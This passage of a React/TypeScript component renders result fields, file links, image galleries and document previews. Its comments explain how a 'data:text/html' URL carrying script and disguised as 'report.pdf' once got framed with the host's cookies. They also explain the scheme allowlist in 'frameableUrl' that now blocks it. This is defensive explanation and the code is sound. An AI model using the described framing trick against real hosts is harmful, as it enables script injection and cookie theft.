'') return <Absent />;\n // The one branch that matters: `String()` is never reached by an object, so\n // `[object Object]` cannot be produced here however the payload drifts.\n if (typeof value === 'object') return <RawValue value={value} compact={compact} />;\n return (\n <span\n className={cn(\n 'text-[13px] leading-relaxed text-foreground',\n compact ? 'whitespace-nowrap' : 'whitespace-pre-wrap',\n )}\n >\n {String(value)}\n </span>\n );\n}\n\nfunction Bool({ value, compact = false }: { value: unknown; compact?: boolean }) {\n const s = useFieldStrings();\n if (value === null || value === undefined || value === '') return <Absent />;\n if (typeof value !== 'boolean') return <Scalar value={value} compact={compact} />;\n return <span className=\"text-[13px] text-foreground\">{value ? s.yes : s.no}</span>;\n}\n\nfunction DateValue({ value }: { value: unknown }) {\n const content = readDateContent(value);\n if (!content) return <Absent />;\n return <span className=\"text-[13px] text-foreground\">{formatDateContent(content)}</span>;\n}\n\n/**\n * An enum value: its code in `studio`, its code in words in `app`.\n *\n * A builder's view shows `unit_price_differs_from_po`, because that is what the\n * bundle and the JSON say and what the builder will search for next. A method\n * app's reader has seen neither, and gets \"Unit price differs from po\" - in a\n * stacked row, a table cell and a chip alike, which is why this is an arm of\n * `LeafValue` rather than something one layout does. The wording is\n * `enumLabeler`'s, the same rule `EnumField` offers its options under, so a\n * result reads as the form that produced it did, codes included when two\n * options would read the same. Only a string is worded; anything else is the\n * payload disagreeing with its descriptor, and is shown as it is.\n */\nfunction EnumValue({\n field,\n value,\n compact,\n}: {\n field: EnumRunField;\n value: unknown;\n compact: boolean;\n}) {\n const presentation = useFieldPresentation();\n const shown = typeof value === 'string' ? enumLabeler(field.options, presentation)(value) : value;\n return <Scalar value={shown} compact={compact} />;\n}\n\n/**\n * A table cell's tooltip: the value as the cell shows it. A cell is truncated\n * past its width cap, and the tooltip is then the only way to read it whole,\n * so an enum cell's tooltip carries the same `enumLabeler` label as the cell\n * rather than the code the payload holds. Every other kind keeps the payload's\n * text.\n */\nfunction cellTitle(column: RunField, cell: string | number, presentation: FieldPresentation) {\n return column.kind === 'enum' && typeof cell === 'string'\n ? enumLabeler(column.options, presentation)(cell)\n : String(cell);\n}\n\n/**\n * The name to put on a file: what it is CALLED, not where it lives.\n *\n * A `pipelex-storage://` reference is ninety characters of UUID and hash, and\n * printing it whole is five wrapped lines that say one thing — this is a file.\n * The last path segment is the part a person reads; the whole reference stays on\n * the `title`, because it is the part they occasionally need to copy.\n *\n * A `data:` URL has no path to take a segment from: it IS the file, and its\n * \"last segment\" was whatever base64 followed the final `/`. It is named by its\n * format and size instead.\n */\nfunction fileLabel(url: string, filename: string | undefined, strings: FieldStrings): string {\n if (filename) return filename;\n const encoded = encodedFileSummary(url, strings);\n if (encoded !== undefined) return encoded;\n return pathLabel(url);\n}\n\n/** The last path segment of a URL, or the URL when it has none. */\nfunction pathLabel(url: string): string {\n const path = url.split(/[?#]/)[0] ?? url;\n const segment = path.split('/').filter(Boolean).pop();\n return segment && segment.length > 0 ? segment : url;\n}\n\n/**\n * Put the WHOLE reference on the clipboard, while the page shows a short name.\n *\n * The two requirements pull opposite ways and this is what resolves them: a\n * ninety-character storage reference printed in full wraps across the panel and\n * says nothing, and a name alone is not something a person can paste into a\n * terminal. So the label is the name, and the button is the URL.\n *\n * Hidden when the API is absent rather than failing on click — `navigator\n * .clipboard` is undefined outside a secure context, and a button that does\n * nothing is worse than no button. The link and the `title` still carry the\n * reference there.\n */\n/**\n * Copy a value to the clipboard.\n *\n * On a URL it is the obvious affordance; on TEXT it is the one that was\n * missing, and its absence was the more expensive of the two. A result view is\n * where a person goes to take something away — a report to paste into a\n * document, an extracted paragraph to send on — and the alternative it left\n * them was selecting a rendered heading, list and table by dragging, which\n * picks up the layout and loses the markdown. So every text value carries one,\n * markdown or not, and what it writes is the SOURCE the run produced rather\n * than the typeset rendering.\n *\n * It renders nothing where there is no clipboard (an insecure origin, an\n * environment without the API). A button that silently fails is worse than one\n * that was never offered.\n */\nfunction CopyButton({\n value,\n provide,\n label,\n title,\n}: {\n value?: string;\n /** Produces the text at click time — for a URL that must be minted fresh. */\n provide?: () => Promise<string>;\n label: string;\n title?: string;\n}) {\n const [copied, setCopied] = useState(false);\n // The check mark reverts after a moment. The timer belongs to the effect, so\n // it is cleared when the control unmounts rather than firing into a\n // component, or a document, that is gone.\n useEffect(() => {\n if (!copied) return;\n const timer = window.setTimeout(() => setCopied(false), 1500);\n return () => window.clearTimeout(timer);\n }, [copied]);\n if (typeof navigator === 'undefined' || !navigator.clipboard) return null;\n return (\n <button\n type=\"button\"\n onClick={() => {\n // `ClipboardItem` with a PROMISE, not `writeText` after an await.\n // Safari drops a clipboard write once the user gesture has been\n // consumed by an await, so minting a share URL first and writing second\n // silently copies nothing there. Handing the promise to the clipboard\n // keeps the write inside the gesture. `writeText` stays the path where\n // there is nothing to mint, and the fallback covers a browser without\n // `ClipboardItem`.\n const done = () => setCopied(true);\n if (!provide) {\n void navigator.clipboard.writeText(value ?? '').then(done);\n return;\n }\n const text = provide();\n if (typeof ClipboardItem === 'function' && 'write' in navigator.clipboard) {\n void navigator.clipboard\n .write([\n new ClipboardItem({\n 'text/plain': text.then((t) => new Blob([t], { type: 'text/plain' })),\n }),\n ])\n .then(done, () => void text.then((t) => navigator.clipboard.writeText(t)).then(done));\n return;\n }\n void text.then((t) => navigator.clipboard.writeText(t)).then(done);\n }}\n {...(title ? { title } : {})}\n aria-label={label}\n className=\"shrink-0 rounded p-0.5 text-muted-foreground hover:bg-card hover:text-foreground focus-visible:outline-solid focus-visible:outline-2 focus-visible:outline-offset-1\"\n >\n {copied ? (\n <Check aria-hidden className=\"size-3.5\" />\n ) : (\n <Copy aria-hidden className=\"size-3.5\" />\n )}\n </button>\n );\n}\n\nfunction CopyUrlButton({ url, storageUrl }: { url: string; storageUrl?: string }) {\n const s = useFieldStrings();\n const resolveShare = useResolveShareUrl();\n // What the page SHOWS and what the clipboard should CARRY are different URLs,\n // and this is the one control that wants the second.\n //\n // The display URL may be a path behind the host's session (`/api/assets/…`)\n // — right for an `<img>` under a strict `img-src 'self'`, useless to whoever\n // pastes it. So when the host can mint a share URL from the underlying\n // reference, this asks for one per click: it carries its own credential and\n // starts expiring immediately, so holding one would be worse than minting it.\n //\n // Absolutising is the fallback for a host with no minter: a relative path at\n // least becomes a link that works for someone already signed in.\n const provide = async () => {\n if (resolveShare && storageUrl) {\n const shared = await resolveShare(storageUrl);\n if (shared) return shared;\n }\n return absoluteUrl(url);\n };\n return <CopyButton provide={provide} label={s.copyUrl} title={url} />;\n}\n\n/** A root-relative path made absolute against the current origin; anything else verbatim. */\nfunction absoluteUrl(url: string): string {\n if (!/^\\/(?!\\/)/.test(url) || typeof window === 'undefined') return url;\n return `${window.location.origin}${url}`;\n}\n\n/**\n * A file reference, as one line.\n *\n * A `pipelex-storage://` URL is not something a browser can follow, and this\n * component takes no resolver — resolving one is the host's seam\n * ([../../docs/upload-seam.md]), and a read-only result view is not the place to\n * open a network call nobody asked for. So an unresolvable reference is named\n * rather than linked, and never wrapped across the panel: it truncates, with the\n * whole of it on the `title`.\n */\nfunction FileRef({\n url,\n storageUrl,\n mimeType,\n filename,\n}: {\n url: string;\n /** The underlying reference, so the copy control can mint a share URL from it. */\n storageUrl?: string;\n mimeType?: string;\n filename?: string;\n}) {\n const s = useFieldStrings();\n // Read ONCE: counting a payload means walking it, and the payload is the\n // file. This component wants the summary twice - as the label a `data:` URL\n // has no path to give, and instead of a whole file in a `title` tooltip -\n // and the second call was a second walk of the same megabytes per render.\n const encoded = encodedFileSummary(url, s);\n const label = filename ? filename : (encoded ?? pathLabel(url));\n const reference = encoded ?? url;\n const title = mimeType ? `${reference} · ${mimeType}` : reference;\n // Judged here as well as by the caller, because this component is also given\n // the raw reference as the \"nothing paintable\" fallback - and the HREF is the\n // gate's own string, never the candidate, so an accepted URL and the one\n // opened on click cannot differ.\n const href = viewableUrl(url);\n return (\n <span className=\"flex min-w-0 items-center gap-1.5\">\n {href ? (\n <a\n href={href}\n target=\"_blank\"\n rel=\"noreferrer\"\n title={title}\n className=\"min-w-0 truncate font-mono text-[12px] text-foreground underline underline-offset-2\"\n >\n {label}\n </a>\n ) : (\n <span\n title={title}\n className=\"min-w-0 truncate font-mono text-[12px] text-muted-foreground\"\n >\n {label}\n </span>\n )}\n <CopyUrlButton url={url} {...(storageUrl ? { storageUrl } : {})} />\n </span>\n );\n}\n\n/**\n * The URL to actually paint, in order of DURABILITY rather than convenience.\n *\n * 1. **The host's resolver, applied to `url`.** `url` is the runtime's own\n * reference (`pipelex-storage://…`) — the identity of the object, which does\n * not rot. A host that can turn one into a fetchable URL should always be\n * asked, because what it returns it can mint again tomorrow.\n * 2. **`public_url`.** Fetchable with no host help, and the reason this used to\n * come first — but on the hosted platform it is a PRESIGNED S3 URL with an\n * hour's life, baked into the stored result. A run opened the next morning\n * shows a broken image, and the URL says `403` rather than anything about\n * permissions, so it reads as \"the app cannot see my own file\" when it means\n * \"this signature expired at 20:42 yesterday\". That is why the order flipped.\n * 3. **`url` unresolved**, for a producer that states only the required member\n * and already puts something fetchable in it.\n *\n * `undefined` when nothing here can be painted — the arms then name the file\n * instead, which is the honest floor.\n */\nfunction paintable(\n content: { url: string; publicUrl?: string },\n resolve?: ResolveUrl,\n): PaintableUrl | undefined {\n // `viewableUrl` rather than a predicate over the raw member: what comes back\n // is the NORMALISED string, and every sink downstream takes that. A member\n // carrying a leading space parses as `https:` for a host that validated it and\n // failed a prefix match here, so the two used to act on different URLs.\n const resolved = viewableUrl(resolve?.(content.url));\n if (resolved) return { url: resolved, fromResolver: true };\n const stated = viewableUrl(content.publicUrl) ?? viewableUrl(content.url);\n return stated ? { url: stated, fromResolver: false } : undefined;\n}\n\n/**\n * A URL the gate accepted, and WHO produced the candidate it accepted.\n *\n * Provenance is not decoration: a root-relative path is the embedding page's own\n * origin, so who chose the path decides whether it may be framed. The gate\n * cannot tell a resolver's answer from a payload member — both are strings — but\n * this function knows, because it asked them in order. See {@link frameableUrl}.\n */\ninterface PaintableUrl {\n url: string;\n /** True when the HOST's resolver produced it, rather than the payload. */\n fromResolver: boolean;\n}\n\n/** The paintable URL alone, for the sinks that do not care where it came from. */\nfunction paintableUrl(\n content: { url: string; publicUrl?: string },\n resolve?: ResolveUrl,\n): string | undefined {\n return paintable(content, resolve)?.url;\n}\n\n/** The extensions a browser renders in a frame with no plugin and no library. */\nconst PREVIEWABLE_EXT_RE = /\\.(pdf|png|jpe?g|gif|webp|avif|svg)(\\?|#|$)/i;\nconst PREVIEWABLE_MIME_RE = /^(application\\/pdf|image\\/)/i;\n\n/**\n * The URL a document may be FRAMED at, which is stricter than the one it may be\n * painted or linked at.\n *\n * A frame is the one sink that turns a URL into a document with a DOM, so the\n * scheme has to be one that carries its own origin. `http:` and `https:` do.\n * `data:` does not: a `data:` document inherits the embedder's origin, which is\n * exactly how a payload's `data:text/html` reached an unsandboxed frame with the\n * host's cookies. `blob:` is excluded too — a payload cannot mint one, so\n * admitting it here would widen the sink for nothing.\n *\n * **A root-relative path carries no origin of its own either, and that is why it\n * is admitted only from the RESOLVER.** It is the embedding page's origin by\n * construction, which is exactly what the resolver case (`/api/assets/…`) wants\n * and exactly what a payload must not be handed: a payload naming\n * `/api/assets/anything.svg` got a document with a DOM on the host's origin, and\n * the type gate below admits `image/` — SVG included — so the scheme rule that\n * bans a `data:` SVG was being paid around one function later. A payload member\n * must be `http:` or `https:` to be framed; a host that resolves to a path is\n * choosing its own origin, which it is entitled to do.\n *\n * That is also the residual risk the resolver contract names: a stored object\n * served on the host's origin is a document on the host's origin, so serve it\n * with its real content type or with `Content-Disposition: attachment`. See\n * [../../docs/upload-seam.md].\n *\n * A refused scheme costs nothing a reader wanted: a raster `data:` URL is\n * painted by the image arm, and a run does not return an inline PDF.\n */\nfunction frameableUrl(candidate: PaintableUrl | undefined): string | undefined {\n if (!candidate) return undefined;\n // Safe as a prefix test only because `viewableUrl` normalised the string: an\n // accepted path starts with exactly one slash, `//host` and `/\\host` having\n // been rejected as protocol-relative.\n if (/^https?:/.test(candidate.url)) return candidate.url;\n return candidate.fromResolver && candidate.url.startsWith('/') ? candidate.url : undefined;\n}\n\n/**\n * Whether a document can be shown here, rather than only linked to.\n *\n * Two conditions, and both are necessary: the browser must be able to FRAME the\n * URL (`frameableUrl` — a `pipelex-storage://` reference resolves nowhere\n * without the host's resolver, and a `data:` document is not framed at all) and\n * to RENDER it with nothing installed. A `.docx` satisfies the first and not the\n * second, and offering a preview that opens onto a download prompt is worse than\n * offering none.\n *\n * The declared type is what decides RENDERABILITY, and reading it from the\n * payload is right — whether a preview is worth offering is a usability\n * question, and the producer is the one that knows. What the declared type may\n * no longer do is admit a URL: `{url: \"data:text/html,…\", filename: \"report.pdf\"}`\n * used to be framed on the strength of its own filename.\n */\nfunction previewableUrl(content: DocumentContentView, resolve?: ResolveUrl): string | undefined {\n const url = frameableUrl(paintable(content, resolve));\n if (!url) return undefined;\n const named = content.filename ?? url;\n const renderable = content.mimeType\n ? PREVIEWABLE_MIME_RE.test(content.mimeType)\n : PREVIEWABLE_EXT_RE.test(named);\n return renderable ? url : undefined;\n}\n\n/**\n * The document itself, in a frame.\n *\n * **Not the same question as `native.Html`, and the difference is the origin.**\n * Markup goes through a sandbox because injecting it into the host's document\n * would run it ON the host's origin, with the host's cookies. A URL in an\n * `<iframe>` is a separate document at its own origin — the browser's own\n * boundary, not one this package has to build.\n *\n * **That argument is sound and it used to be applied to a URL nobody had\n * checked.** A `data:` document does NOT get an origin of its own: it inherits\n * the embedder's, so `{url: \"data:text/html,<script>…\", filename: \"report.pdf\"}`\n * was framed with the host's cookies on the strength of its own filename. The\n * fix is upstream of this component — `frameableUrl` admits `http:`, `https:`\n * and a same-origin path and nothing else — because it is the SCHEME that\n * decides whether the origin boundary exists at all.\n *\n * **There is deliberately no `sandbox` attribute, and the reason is a platform\n * constraint rather than a judgement.** Measured against a same-origin PDF on\n * Chrome 152 and Firefox 155, no token set renders in both.\n *\n * Chrome renders only with the attribute ABSENT: `sandbox` sets the\n * sandboxed-plugins flag unconditionally and no token unsets it — `allow-plugins`\n * is not in the specification — and Chrome's PDF viewer is plugin content, so\n * every token set fails, `allow-same-origin allow-scripts` included. Firefox\n * fails differently: pdf.js is a JavaScript viewer rather than plugin content,\n * so it renders exactly when `allow-scripts` is granted and paints its toolbar\n * over a blank page otherwise. The intersection is empty.\n *\n * The second half is the one that survives a browser changing its mind: the\n * token Firefox needs is `allow-scripts`, and a frame sandboxed to allow only\n * script execution is worse than a frame with no sandbox attribute. So a\n * sandbox here would not harden the preview; it would delete it, or cost the\n * one token that matters to buy nothing. `frameableUrl` above is what makes the\n * frame safe. See [../../docs/result-view.md] for the whole policy.\n *\n * `no-referrer` stays: a result view has no business telling a third party where\n * it was opened from.\n */\nfunction DocumentPreview({ url, name }: { url: string; name: string }) {\n return (\n <iframe\n src={url}\n title={name}\n loading=\"lazy\"\n referrerPolicy=\"no-referrer\"\n className=\"h-112 w-full rounded-lg border border-border bg-card/40\"\n />\n );\n}\n\nfunction DocumentValue({ value }: { value: unknown }) {\n const s = useFieldStrings();\n // Above the early return: a hook after one runs conditionally, which React\n // forbids and which the `<Absent />` path would trigger on any payload\n // missing a URL.\n const resolve = useResolveUrl();\n const [open, setOpen] = useState(false);\n const content = readDocumentContent(value);\n if (!content) return <Absent />;\n const name = content.title ?? content.filename ?? fileLabel(content.url, content.filename, s);\n const preview = previewableUrl(content, resolve);\n return (\n <div className=\"space-y-2\">\n <div className=\"flex min-w-0 items-start gap-2.5\">\n <FileText aria-hidden className=\"mt-0.5 size-4 shrink-0 text-muted-foreground\" />\n <div className=\"min-w-0 flex-1 space-y-0.5\">\n {name && <span className=\"block truncate text-[13px] text-foreground\">{name}</span>}\n <FileRef\n url={paintableUrl(content, resolve) ?? content.url}\n storageUrl={content.url}\n mimeType={content.mimeType}\n {...(content.filename ? { filename: content.filename } : {})}\n />\n {content.snippet && (\n <p className=\"line-clamp-2 text-[12px] leading-relaxed text-muted-foreground\">\n {content.snippet}\n </p>\n )}\n </div>\n {preview && (\n <button\n type=\"button\"\n onClick={() => setOpen((current) => !current)}\n aria-expanded={open}\n className=\"flex shrink-0 items-center gap-1.5 rounded-md border border-border px-2 py-1 text-[12px] text-muted-foreground hover:bg-card hover:text-foreground focus-visible:outline-solid focus-visible:outline-2 focus-visible:outline-offset-1\"\n >\n {open ? (\n <EyeOff aria-hidden className=\"size-3.5\" />\n ) : (\n <Eye aria-hidden className=\"size-3.5\" />\n )}\n {s.preview}\n </button>\n )}\n </div>\n {preview && open && <DocumentPreview url={preview} name={name} />}\n </div>\n );\n}\n\nfunction ImageValue({\n value,\n inGallery = false,\n inRow = false,\n compact = false,\n}: {\n value: unknown;\n inGallery?: boolean;\n inRow?: boolean;\n /** Rendering into a table cell: a thumbnail, not a picture. */\n compact?: boolean;\n}) {\n const s = useFieldStrings();\n const resolve = useResolveUrl();\n const content = readImageContent(value);\n if (!content) return <Absent />;\n const src = paintableUrl(content, resolve);\n // In a gallery the tile IS the border, so the image fills it and the caption\n // sits under it; on its own the image keeps its own frame and a height cap.\n return (\n <div className={inGallery ? 'space-y-1' : 'space-y-1.5'}>\n {src ? (\n // Wrapped in a link: the picture is a PREVIEW of a file, and clicking a\n // preview to see the thing it previews is what a reader expects. The\n // reference underneath is the other half - a picture with no URL beside\n // it is a result you can look at and cannot use.\n <a\n href={src}\n target=\"_blank\"\n rel=\"noreferrer\"\n title={content.url}\n // BLOCK when the image fills its column, inline-block otherwise. An\n // `inline-block` anchor shrink-wraps, so a `w-full` image inside one\n // resolves to zero width — the panel showed a tall empty sliver with\n // the spinner clipped inside it. A gallery tile and a table cell size\n // themselves, so they keep the inline box.\n className={inGallery || compact ? 'inline-block' : 'block w-full'}\n >\n <LoadingImage\n src={src}\n alt={content.caption ?? s.preview}\n className={cn(\n inGallery && 'block aspect-square w-full object-cover',\n // A cell is one line tall. An image column rendered at the standalone\n // height turns every row into a picture and the table into a\n // slideshow, so a cell gets a thumbnail and the row's expansion gets\n // the picture.\n compact && 'h-10 w-auto rounded border border-border object-cover',\n // On its own: the full width it is given, capped generously in\n // height. `max-h-64` was a 256px thumbnail in a panel several\n // times that tall — a generated report image is the RESULT here,\n // not a decoration beside one, and it was unreadable at that size.\n // `object-contain` keeps the aspect ratio when the cap bites.\n !inGallery &&\n !compact &&\n 'max-h-176 w-full rounded-lg border border-border object-contain',\n )}\n />\n </a>\n ) : inRow ? (\n // The row variant of \"nothing to paint\": an icon and a name, exactly as\n // a document row reads, because that is what this has become.\n <div className=\"flex min-w-0 items-center gap-2.5\">\n <ImageOff aria-hidden className=\"size-4 shrink-0 text-muted-foreground\" />\n <div className=\"min-w-0 flex-1\">\n <FileRef\n url={content.url}\n mimeType={content.mimeType}\n {...(content.filename ? { filename: content.filename } : {})}\n />\n </div>\n </div>\n ) : inGallery ? (\n // Nothing to paint, so the tile says what it is rather than dumping a\n // ninety-character storage reference into a 140px box. This is what a\n // host with no resolver sees, so it has to be a design and not a\n // fallback.\n <div className=\"flex aspect-square w-full flex-col items-center justify-center gap-1.5 px-2 text-center\">\n <ImageOff aria-hidden className=\"size-5 text-muted-foreground\" />\n <span\n title={content.url}\n className=\"w-full truncate font-mono text-[10.5px] text-muted-foreground\"\n >\n {fileLabel(content.url, content.filename, s)}\n </span>\n </div>\n ) : (\n <FileRef\n url={content.url}\n mimeType={content.mimeType}\n {...(content.filename ? { filename: content.filename } : {})}\n />\n )}\n {src && !compact && (\n <div className={inGallery ? 'px-2.5' : undefined}>\n <FileRef\n // `src` IS `paintableUrl(content, resolve)`, and this branch only\n // renders when it is set — so asking the gate again here would be a\n // second full pass over the same string for the same answer.\n url={src}\n storageUrl={content.url}\n mimeType={content.mimeType}\n {...(content.filename ? { filename: content.filename } : {})}\n />\n </div>\n )}\n {content.caption && (\n <p\n className={cn(\n 'text-[12px] leading-relaxed text-muted-foreground',\n inGallery && 'px-2.5 pb-1.5',\n )}\n >\n {content.caption}\n </p>\n )}\n </div>\n );\n}\n\n/**\n * The kinds a table cell can hold — short, single-line values.\n *\n * `prose` is deliberately absent. A paragraph in a `<td>` is worse than a card:\n * it forces one column to the width of the longest answer and drags every other\n * row's height with it. A list whose element carries prose renders as cards, and\n * that is the right answer rather than a limitation.\n *\n * `object` and `list` are absent for the obvious reason, and `document`/`image`\n * because a file's chrome (a link, a preview) is not a cell.\n */\nconst TABULAR_KINDS = new Set<RunField['kind']>(['text', 'number', 'boolean', 'date', 'enum']);\n\n/**\n * Just the value, with no label chrome — shared by every layout.\n *\n * **It unwraps, and that is not a convenience.** Unwrapping is a property of the\n * FIELD (its `contentKey`), not of the layout that happens to be rendering it,\n * so every path has to do it: a `native.Text[]`'s entries are `TextContent`\n * records, and a chip, a line and a table cell each hold one. Leaving the unwrap\n * to the caller is what turned a list of planet names into eight rows of\n * `[object Object]` — the very failure this component exists to make impossible.\n */\nfunction LeafValue({\n field,\n value: raw,\n compact = false,\n}: {\n field: RunField;\n value: unknown;\n /** Rendering into a table cell: one line, no preserved newlines. */\n compact?: boolean;\n}) {\n const value = unwrap(field, raw);\n switch (field.kind) {\n case 'list': {\n const entries = Array.isArray(value) ? value : [];\n // A short scalar list inside a cell: chips wrap, so a column of them stays\n // a column. A list of STRUCTURES cannot be a cell at any width, so it says\n // how many there are and the row's detail shows them - the cell states the\n // fact, the expansion carries the content.\n return TABULAR_KINDS.has(field.item.kind) ? (\n <ScalarChips field={field.item} items={entries} />\n ) : (\n <ItemCount count={entries.length} />\n );\n }\n case 'prose':\n // Prose is TYPESET, not just printed: what fills a `prose` slot is a\n // model's answer, and those answers are markdown. Rendered as plain text\n // a heading is a literal `#` and emphasis is a pair of asterisks, which\n // is a wrong rendering rather than a neutral one. See `markdown.tsx`.\n //\n // Not in a cell, though. `compact` means a table cell or a chip, where\n // the whole point is one line and the row expands for the rest - a\n // heading, a list and a table have no business in there, and the plain\n // string is the right thing at that size.\n return compact ? (\n <Scalar value={value} compact />\n ) : typeof value === 'string' && value !== '' ? (\n <Markdown text={value} />\n ) : (\n <Scalar value={value} />\n );\n case 'boolean':\n return <Bool value={value} compact={compact} />;\n case 'date':\n return <DateValue value={value} />;\n case 'document':\n return <DocumentValue value={value} />;\n case 'image':\n return <ImageValue value={value} compact={compact} />;\n case 'object':\n // In a cell, a record is NAMED rather than printed. Anywhere else it never\n // reaches here - `ResultField` lays a record out as its own grid - so the\n // non-compact arm is only the payload-disagrees floor every kind has.\n return compact ? <RecordSummary field={field} value={value} /> : <Scalar value={value} />;\n case 'enum':\n return <EnumValue field={field} value={value} compact={compact} />;\n default:\n return <Scalar value={value} compact={compact} />;\n }\n}\n\n/**\n * A record in a table cell, as the one line that names it.\n *\n * A structure is not a cell at any width, and the row expands to the whole of\n * it. What the cell showed until then was the default `Scalar`, which for an\n * object is its JSON: the collapsed table - what a person reads FIRST - said\n * `{ \"candidate_name\": \"Amara Okafor\", \"criterion_s…` down one column and\n * `{ \"subje…` down the next.\n *\n * What names a record is the descriptor's to say, not the value's: its first\n * `text` field in authored order (`candidate_name`, `subject`), else its first\n * `prose` field, shown as that field's own cell would show it. The pick is made\n * on the field list alone, so every row of a column is named by the same field\n * and an empty one reads as that field's absence. A record with neither says how\n * many fields it holds, as a nested list says how many entries.\n *\n * Two concepts are not records to a reader. A `native.Date` is a date, read by\n * the arm that reads one. `native.Html`'s first text field is its markup source,\n * which is exactly what a result view must not print, so it takes the count.\n */\nfunction RecordSummary({ field, value }: { field: ObjectRunField; value: unknown }) {\n const s = useFieldStrings();\n if (isNativeDateNode(field)) return <DateValue value={value} />;\n if (!isRecord(value) || Object.keys(value).length === 0) return <Absent />;\n const naming = isNativeHtmlNode(field)\n ? undefined\n : (recordNameField(field.fields) ?? field.fields.find((member) => member.kind === 'prose'));\n if (naming === undefined) {\n return (\n <span className=\"whitespace-nowrap text-[12.5px] text-muted-foreground\">\n {s.fieldsCount(field.fields.length)}\n </span>\n );\n }\n return <LeafValue field={naming} value={ownProp(value, naming.name)} compact />;\n}\n\n/**\n * An image that says it is coming.\n *\n * A run's images are fetched through the host's own route, and a generated PNG\n * on a cold cache takes long enough that the panel sat blank — indistinguishable\n * from the broken-image state it had just stopped being. A spinner is the\n * difference between \"loading\" and \"failed\", and those are the two states a\n * reader is actually trying to tell apart here.\n *\n * The `<img>` is mounted the whole time and only hidden, never swapped: React\n * would otherwise remount it on each state change and restart the download.\n * `onError` clears the spinner too — a failure that spins forever is the worst\n * of the three states.\n */\nfunction LoadingImage({ src, alt, className }: { src: string; alt: string; className?: string }) {\n const [state, setState] = useState<'loading' | 'done'>('loading');\n // `src` changing means a different picture: show the spinner again.\n const [current, setCurrent] = useState(src);\n if (current !== src) {\n setCurrent(src);\n setState('loading');\n }\n return (\n <span className=\"relative block\">\n {state === 'loading' && (\n <span\n role=\"status\"\n aria-label={alt}\n className=\"absolute inset-0 flex items-center justify-center rounded-lg border border-border bg-card/40\"\n >\n <Loader2 aria-hidden className=\"size-4 animate-spin text-muted-foreground\" />\n </span>\n )}\n <img\n src={src}\n alt={alt}\n // A result view has no business telling a third party where it was\n // opened from, and a payload's image URL is a third party by default.\n // The document frame has said so since it was written; every `<img>`\n // this package paints says it now too.\n referrerPolicy=\"no-referrer\"\n onLoad={() => setState('done')}\n onError={() => setState('done')}\n className={cn(className, state === 'loading' && 'min-h-40 opacity-0')}\n />\n </span>\n );\n}\n\n/**\n * A list of SCALARS, inline.\n *\n * Rendering `[\"optics\", \"calibration\"]` as two bordered cards with index numbers\n * spends a screenful of chrome on two words. Chips say the same thing in one\n * line, and the index a card carried was never information here — the entries of\n * a scalar list are the values, and they identify themselves.\n */\nfunction ScalarChips({ field, items }: { field: RunField; items: readonly unknown[] }) {\n return (\n // `data-chips` is the hook the definition grid's value cell reaches through:\n // the cell ends its VALUE at the right edge, and a row of tags long enough\n // to wrap fills the column, so without the hook each line of tags would\n // start at the left while every value beside it ended at the right. The attribute keeps that one selector out of this component's own\n // class list - chips are laid out the same way everywhere, and only the\n // caller knows which edge they should end on.\n <div data-chips className=\"flex flex-wrap gap-1.5\">\n {items.map((item, index) => (\n <span\n key={index}\n className=\"rounded-md border border-border bg-card/40 px-2 py-0.5 text-[12.5px] text-foreground\"\n >\n <LeafValue field={field} value={item} />\n </span>\n ))}\n </div>\n );\n}\n\n/**\n * A list of objects of ONE shape, as the table it is.\n *\n * Every entry has the same keys, so the labels are column headers rather than\n * per-row labels — repeating them down the page is what made a fifteen-entry\n * result read as fifteen forms. The description and the type pill move to the\n * header too: on an INPUT they are guidance a person needs before typing, and on\n * a result they are the same sentence fifteen times. The description stays\n * reachable as the header's `title`, which is the honest place for a fact that\n * is worth having and not worth repeating.\n */\n/** How many entries a cell stands for, when the entries themselves cannot fit. */\nfunction ItemCount({ count }: { count: number }) {\n const s = useFieldStrings();\n return (\n <span className=\"whitespace-nowrap text-[12.5px] text-muted-foreground\">\n {s.itemsCount(count)}\n </span>\n );\n}\n\n/**\n * Whether a column is shown WHOLE in its cell.\n *\n * A short scalar is, and so is a list of them (chips wrap). Prose is not — it is\n * the standard's way of saying \"this may be long\", so a cell shows its first\n * line. A structure is not, at any width.\n */\nfunction isInlineColumn(field: RunField): boolean {\n if (field.kind === 'list') return TABULAR_KINDS.has(field.item.kind);\n return TABULAR_KINDS.has(field.kind);\n}\n\n/**\n * Beyond this a cell is a truncation rather than a value, so its row needs a way\n * to open. Chosen as roughly what fits one line of a table column at this size.\n */\nconst CELL_LENGTH_LIMIT = 80;\n\n/**\n * The chevron column's width, stated ONCE because two places need to agree on\n * it: the header cell that reserves it, and the pinned width of an open row's\n * detail panel, which begins after it and must therefore be that much narrower.\n *\n * They did not agree, and the failure was invisible until the detail's values\n * moved to the right edge. The panel spanned every column EXCEPT this one while\n * being pinned to the full visible width, so it overhung the scroller by exactly\n * this much - harmless while its content started at the left, and a clean cut\n * through the last characters of every value once they ended at the right.\n */\nconst EXPAND_COLUMN = '2rem';\n\n/**\n * Whether a column is GUARANTEED to fit its cell — a stronger question than\n * `isInlineColumn`, and the one the expand toggle is keyed on.\n *\n * The two came apart the first time a real method was rendered. `text` is the\n * standard's \"short single-line string\", so it was treated as always-fitting and\n * a table of nothing but `text` columns got no toggle at all. But *short* is not\n * a property the kind carries: a `text` node is bounded only when the author\n * wrote `max_length`, and an unbounded one is a slot a model will happily fill\n * with three sentences — which is exactly what `gaps` and `overall_assessment`\n * hold in the CV corpus. The cell then truncated with no way to read the rest,\n * which is the one outcome a result view must not produce.\n *\n * So the guarantee is read from the CONSTRAINT rather than assumed from the\n * kind. A boolean, a date, a number and an enum are bounded by what they are; a\n * `text` is bounded when it says so. Everything else may be long, and its row\n * gets a toggle. Still descriptor-driven — no value is measured, so a table's\n * shape does not change with the data it happens to be showing.\n *\n * A `native.Date` member is a date too, although its node is an `object`: a\n * cell reads it as one compact date (`RecordSummary`), whole. And a list fits\n * only when its cell shows the entries at all, which is when they are chips; a\n * list of anything else is a count in its cell, and its entries are in the\n * row's detail however short each one is.\n */\nfunction fitsACellWhole(field: RunField): boolean {\n switch (field.kind) {\n case 'boolean':\n case 'date':\n case 'number':\n case 'enum':\n return true;\n case 'text':\n return field.maxLength !== undefined && field.maxLength <= CELL_LENGTH_LIMIT;\n case 'object':\n return isNativeDateNode(field);\n case 'list':\n return isInlineColumn(field) && fitsACellWhole(field.item);\n default:\n return false;\n }\n}\n\n/**\n * A list of records, as the table it is — with the rest of each record one click\n * away.\n *\n * **Every record list is a table now**, including the ones carrying prose and\n * the ones carrying more records. The old answer was to fall back to a card per\n * entry, and it was the wrong trade: a table is how you READ a list of records —\n * scannable, aligned, one row each — and giving that up over the 